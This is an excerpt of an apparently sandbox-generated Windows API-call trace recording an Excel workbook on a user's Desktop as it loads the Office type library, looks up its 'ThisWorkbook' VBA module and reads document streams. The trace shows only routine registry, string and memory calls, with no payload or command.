	[0050.137] _ultow_s (in: _Value=0x0, _Buffer=0x26f672, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0
	[0050.137] wcscpy_s (in: _Destination=0x76a8dc8, _SizeInWords=0x9b, _Source="*\\G" | out: _Destination="*\\G") returned 0x0
	[0050.137] wcscpy_s (in: _Destination=0x76a8dce, _SizeInWords=0x98, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0
	[0050.137] wcscpy_s (in: _Destination=0x76a8e1a, _SizeInWords=0x72, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0
	[0050.137] wcscpy_s (in: _Destination=0x76a8e28, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0
	[0050.137] wcscpy_s (in: _Destination=0x76a8eb4, _SizeInWords=0x25, _Source="Microsoft Office 14.0 Object Library" | out: _Destination="Microsoft Office 14.0 Object Library") returned 0x0
	[0050.137] IMalloc:Free (This=0x7feffc15380, pv=0xb9756e0) 
	[0050.141] wcsncpy_s (in: _Destination=0x7013d98, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#") returned 0x0
	[0050.141] wcscpy_s (in: _Destination=0x7013df8, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0
	[0050.141] wcscpy_s (in: _Destination=0x7013e82, _SizeInWords=0x26, _Source="#Microsoft Office 14.0 Object Library" | out: _Destination="#Microsoft Office 14.0 Object Library") returned 0x0
	[0050.141] wcscpy_s (in: _Destination=0xb6d7110, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0
	[0050.141] wcsncpy_s (in: _Destination=0x26f430, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0
	[0050.141] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a
	[0050.141] IMalloc:Alloc (This=0x7feffc15380, cb=0x136) returned 0xbbf3380
	[0050.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0xbbf3380, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155
	[0050.141] IMalloc:Free (This=0x7feffc15380, pv=0xbbf3380) 
	[0050.141] IMalloc:Realloc (This=0x7feffc15380, pv=0xbb67180, cb=0x880) returned 0xb8ba040
	[0050.141] wcscpy_s (in: _Destination=0xb8ba488, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0
	[0050.141] wcsncpy_s (in: _Destination=0x26f470, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0
	[0050.141] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a
	[0050.141] IMalloc:Alloc (This=0x7feffc15380, cb=0x136) returned 0xbbf3380
	[0050.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0xbbf3380, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155
	[0050.141] IMalloc:Free (This=0x7feffc15380, pv=0xbbf3380) 
	[0050.142] wcsncpy_s (in: _Destination=0x26f430, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0050.142] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", cchLength=0x34 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls") returned 0x34
	[0050.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", cchWideChar=53, lpMultiByteStr=0x26f360, cbMultiByte=106, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 53
	[0050.142] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0
	[0050.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x26f710, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7
	[0050.142] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515
	[0050.142] strcpy_s (in: _Dst=0x26f4f0, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0
	[0050.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26f4f0, cbMultiByte=7, lpWideCharStr=0x26f340, cchWideChar=7 | out: lpWideCharStr="Office") returned 7
	[0050.142] IUnknown:AddRef (This=0xb9fd070) returned 0x3
	[0050.142] ITypeLib:RemoteIsName (in: This=0xb9fd070, szNameBuf="Office", lHashVal=0x107515, pfName=0x26f410, pBstrLibName=0x26f340 | out: pfName=0x26f410*=0, pBstrLibName=0x26f340) returned 0x0
	[0050.142] IUnknown:Release (This=0xb9fd070) returned 0x2
	[0050.142] IUnknown:AddRef (This=0xb9fc260) returned 0x2
	[0050.142] ITypeLib:RemoteIsName (in: This=0xb9fc260, szNameBuf="Office", lHashVal=0x107515, pfName=0x26f410, pBstrLibName=0x26f340 | out: pfName=0x26f410*=0, pBstrLibName=0x26f340) returned 0x0
	[0050.142] IUnknown:Release (This=0xb9fc260) returned 0x1
	[0050.142] IUnknown:AddRef (This=0xb9fd610) returned 0x4
	[0050.142] ITypeLib:RemoteIsName (in: This=0xb9fd610, szNameBuf="Office", lHashVal=0x107515, pfName=0x26f410, pBstrLibName=0x26f340 | out: pfName=0x26f410*=0, pBstrLibName=0x26f340) returned 0x0
	[0050.142] IUnknown:Release (This=0xb9fd610) returned 0x3
	[0050.142] IMalloc:Alloc (This=0x7feffc15380, cb=0x208) returned 0x7383170
	[0050.142] wcscpy_s (in: _Destination=0x7013d98, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0
	[0050.142] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x26eaf0 | out: phkResult=0x26eaf0*=0xa6a) returned 0x0
	[0050.143] RegOpenKeyW (in: hKey=0xa6a, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x26eae8 | out: phkResult=0x26eae8*=0xa6e) returned 0x0
	[0050.143] RegEnumKeyW (in: hKey=0xa6e, dwIndex=0x0, lpName=0x26eb18, cchName=0xa | out: lpName="2.6") returned 0x0
	[0050.144] RegEnumKeyW (in: hKey=0xa6e, dwIndex=0x1, lpName=0x26eb18, cchName=0xa | out: lpName="2.7") returned 0x0
	[0050.144] RegEnumKeyW (in: hKey=0xa6e, dwIndex=0x2, lpName=0x26eb18, cchName=0xa | out: lpName="2.8") returned 0x0
	[0050.144] wcscpy_s (in: _Destination=0x26eb00, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0
	[0050.144] RegOpenKeyW (in: hKey=0xa6e, lpSubKey="2.8", phkResult=0x26eba8 | out: phkResult=0x26eba8*=0xcfa) returned 0x0
	[0050.144] _ultoa_s (in: _Val=0x0, _DstBuf=0x26eb20, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0
	[0050.144] RegOpenKeyA (in: hKey=0xcfa, lpSubKey="0", phkResult=0x26eb10 | out: phkResult=0x26eb10*=0xce2) returned 0x0
	[0050.145] RegOpenKeyW (in: hKey=0xce2, lpSubKey="win64", phkResult=0x26eb18 | out: phkResult=0x26eb18*=0xa0e) returned 0x0
	[0050.145] RegCloseKey (hKey=0xa0e) returned 0x0
	[0050.145] RegCloseKey (hKey=0xce2) returned 0x0
	[0050.145] _ultow_s (in: _Value=0x0, _Buffer=0x26ebb0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0
	[0050.145] RegOpenKeyW (in: hKey=0xcfa, lpSubKey="0", phkResult=0x26eb88 | out: phkResult=0x26eb88*=0xcde) returned 0x0
	[0050.146] RegQueryValueW (in: hKey=0xcde, lpSubKey="win64", lpData=0x26ebd0, lpcbData=0x26eb84 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x26eb84) returned 0x0
	[0050.146] wcscpy_s (in: _Destination=0x7383170, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0
	[0050.146] RegCloseKey (hKey=0xcde) returned 0x0
	[0050.146] RegCloseKey (hKey=0xcfa) returned 0x0
	[0050.146] RegCloseKey (hKey=0xa6e) returned 0x0
	[0050.147] RegCloseKey (hKey=0xa6a) returned 0x0
	[0050.147] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x26f1f8*=0x0 | out: pptlib=0x26f1f8*=0xb9fdbb0) returned 0x0
	[0050.182] IUnknown:QueryInterface (in: This=0xb9fdbb0, riid=0x7fee6105c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26eff8 | out: ppvObject=0x26eff8*=0x0) returned 0x80004002
	[0050.182] ITypeLib:RemoteGetLibAttr (in: This=0xb9fdbb0, ppTLibAttr=0x26eff0, pDummy=0x10 | out: ppTLibAttr=0x26eff0, pDummy=0x10) returned 0x0
	[0050.182] ITypeLib:RemoteGetDocumentation (in: This=0xb9fdbb0, index=-1, refPtrFlags=0x0, pbstrName=0x26efe8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7013df6 | out: pbstrName=0x26efe8*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7013df6) returned 0x0
	[0050.182] StringFromGUID2 (in: rguid=0xb881ca0*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0x26f010, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39
	[0050.182] _ultow_s (in: _Value=0x2, _Buffer=0x26ef5a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0
	[0050.182] _ultow_s (in: _Value=0x8, _Buffer=0x26ef5e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0
	[0050.182] _ultow_s (in: _Value=0x0, _Buffer=0x26ef62, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0
	[0050.182] wcscpy_s (in: _Destination=0x74c1508, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0
	[0050.182] wcscpy_s (in: _Destination=0x74c150e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0
	[0050.182] wcscpy_s (in: _Destination=0x74c155a, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0
	[0050.182] wcscpy_s (in: _Destination=0x74c1568, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0
	[0050.182] wcscpy_s (in: _Destination=0x74c15e8, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0
	[0050.182] ITypeLib:LocalReleaseTLibAttr (This=0xb9fdbb0) returned 0x0
	[0050.182] wcscpy_s (in: _Destination=0x7383170, _SizeInWords=0x104, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0
	[0050.182] IMalloc:Realloc (This=0x7feffc15380, pv=0xb6d6cd0, cb=0xd00) returned 0xbc58830
	[0050.182] wcscpy_s (in: _Destination=0xbc58da8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0
	[0050.182] IMalloc:Free (This=0x7feffc15380, pv=0x7383170) 
	[0050.182] IUnknown:AddRef (This=0xb9fdbb0) returned 0x2
	[0050.182] IUnknown:QueryInterface (in: This=0xb9fdbb0, riid=0x7fee61085a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f258 | out: ppvObject=0x26f258*=0x0) returned 0x80004002
	[0050.183] ITypeLib:RemoteIsName (in: This=0xb9fdbb0, szNameBuf="Office", lHashVal=0x107515, pfName=0x26f410, pBstrLibName=0x26f340 | out: pfName=0x26f410*=0, pBstrLibName=0x26f340) returned 0x0
	[0050.183] IUnknown:Release (This=0xb9fdbb0) returned 0x1
	[0050.183] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0x713a8b0
	[0050.183] IMalloc:Free (This=0x7feffc15380, pv=0xb8aba50) 
	[0050.183] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb78f420
	[0050.183] IMalloc:Realloc (This=0x7feffc15380, pv=0xb78f420, cb=0x5c) returned 0xb801460
	[0050.183] IMalloc:Free (This=0x7feffc15380, pv=0x713a8b0) 
	[0050.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x26f550, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13
	[0050.184] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0050.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x26f690, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13
	[0050.184] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0050.184] IMalloc:Realloc (This=0x7feffc15380, pv=0xbacf0f0, cb=0x8) returned 0xbacfa30
	[0050.184] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba577c0
	[0050.184] IMalloc:GetSize (This=0x7feffc15380, pv=0xba577c0) returned 0x80
	[0050.184] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb91dcc0
	[0050.184] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb91dd80
	[0050.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x26f550, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13
	[0050.185] CoCreateGuid (in: pguid=0x26f280 | out: pguid=0x26f280*(Data1=0xba203f79, Data2=0x705a, Data3=0x4698, Data4=([0]=0xa3, [1]=0xf9, [2]=0xf3, [3]=0x68, [4]=0xcc, [5]=0x82, [6]=0x77, [7]=0x1f))) returned 0x0
	[0050.185] CoCreateGuid (in: pguid=0x26f290 | out: pguid=0x26f290*(Data1=0xc27cfe31, Data2=0x1276, Data3=0x40a1, Data4=([0]=0xb3, [1]=0x5c, [2]=0x36, [3]=0xaa, [4]=0x43, [5]=0xbc, [6]=0xde, [7]=0x32))) returned 0x0
	[0050.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x26f2a0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13
	[0050.185] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0050.185] GetLocalTime (in: lpSystemTime=0x26f178 | out: lpSystemTime=0x26f178*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0x8, wMinute=0x1, wSecond=0x9, wMilliseconds=0x26f)) 
	[0050.185] _ultow_s (in: _Value=0x5dbe8945, _Buffer=0xbc58b1c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5dbe8945") returned 0x0
	[0050.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015dbe8945", cchWideChar=11, lpMultiByteStr=0x26f110, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015dbe8945", lpUsedDefaultChar=0x0) returned 11
	[0050.185] IMalloc:Alloc (This=0x7feffc15380, cb=0x170) returned 0x7440e50
	[0050.185] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb8aba50
	[0050.185] strcpy_s (in: _Dst=0xb9a9e00, _DstSize=0xd, _Src="ThisWorkbook" | out: _Dst="ThisWorkbook") returned 0x0
	[0050.185] IMalloc:Realloc (This=0x7feffc15380, pv=0xbace260, cb=0x68) returned 0xb8014d0
	[0050.185] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0050.185] wcscpy_s (in: _Destination=0xbc58b30, _SizeInWords=0xd, _Source="ThisWorkbook" | out: _Destination="ThisWorkbook") returned 0x0
	[0050.185] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0050.185] wcscpy_s (in: _Destination=0xbc58b50, _SizeInWords=0xd, _Source="ThisWorkbook" | out: _Destination="ThisWorkbook") returned 0x0
	[0050.185] IMalloc:Realloc (This=0x7feffc15380, pv=0xbace270, cb=0x12) returned 0xbb71ab0
	[0050.185] IMalloc:Realloc (This=0x7feffc15380, pv=0xbace250, cb=0x6) returned 0xbace270
	[0050.185] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c
	[0050.185] IMalloc:Alloc (This=0x7feffc15380, cb=0x3c) returned 0xbca3300
	[0050.185] IMalloc:Free (This=0x7feffc15380, pv=0xb801460) 
	[0050.185] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb78f420
	[0050.186] IMalloc:Realloc (This=0x7feffc15380, pv=0xb78f420, cb=0x68) returned 0xb801460
	[0050.186] IMalloc:Free (This=0x7feffc15380, pv=0xbca3300) 
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x74cd730
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb78f420
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbb71b30
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba57850
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbace250
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbace260
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x688) returned 0xb6d6cd0
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba578e0
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0xbc59540
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb78f450
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacf0f0
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacfa40
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb791c40
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba57970
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0xb8dfa10
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0xb8dfe20
	[0050.186] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0xb8e0230
	[0050.186] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918
	[0050.186] strcpy_s (in: _Dst=0x26f2e0, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0
	[0050.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26f2e0, cbMultiByte=10, lpWideCharStr=0x26f130, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10
	[0050.186] IUnknown:AddRef (This=0xb9fd070) returned 0x3
	[0050.186] ITypeLib:RemoteIsName (in: This=0xb9fd070, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x26f200, pBstrLibName=0x26f130 | out: pfName=0x26f200*=0, pBstrLibName=0x26f130) returned 0x0
	[0050.186] IUnknown:Release (This=0xb9fd070) returned 0x2
	[0050.186] IUnknown:AddRef (This=0xb9fc260) returned 0x2
	[0050.186] ITypeLib:RemoteIsName (in: This=0xb9fc260, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x26f200, pBstrLibName=0x26f130 | out: pfName=0x26f200*=1, pBstrLibName=0x26f130) returned 0x0
	[0050.186] IUnknown:Release (This=0xb9fc260) returned 0x1
	[0050.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Evaluate", cchWideChar=-1, lpMultiByteStr=0x26f2e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Evaluate", lpUsedDefaultChar=0x0) returned 10
	[0050.186] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918
	[0050.187] wcsncpy_s (in: _Destination=0x26f2f0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0050.187] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", cchLength=0x34 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls") returned 0x34
	[0050.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", cchWideChar=53, lpMultiByteStr=0x26f220, cbMultiByte=106, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 53
	[0050.187] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0
	[0050.187] CExposedStream::Seek () returned 0x0
	[0050.187] CExposedStream::AddRef () returned 0x2
	[0050.187] CExposedStream::Read () returned 0x0
	[0050.187] IMalloc:Alloc (This=0x7feffc15380, cb=0x2028) returned 0xbceaaf0
	[0050.188] IMalloc:Alloc (This=0x7feffc15380, cb=0x10020*=0x10128) returned 0xbcecb20
	[0050.189] CExposedStream::AddRef () returned 0x3
	[0050.189] CExposedStream::Release () returned 0x2
	[0050.189] IMalloc:Alloc (This=0x7feffc15380, cb=0x2ee0) returned 0xbcfcb50
	[0050.190] IMalloc:Alloc (This=0x7feffc15380, cb=0x800) returned 0x4d63020
	[0050.190] CExposedStream::Read () returned 0x0
	[0050.190] CExposedStream::Read () returned 0x0
	[0050.190] IMalloc:Alloc (This=0x7feffc15380, cb=0x404) returned 0xb8e0640
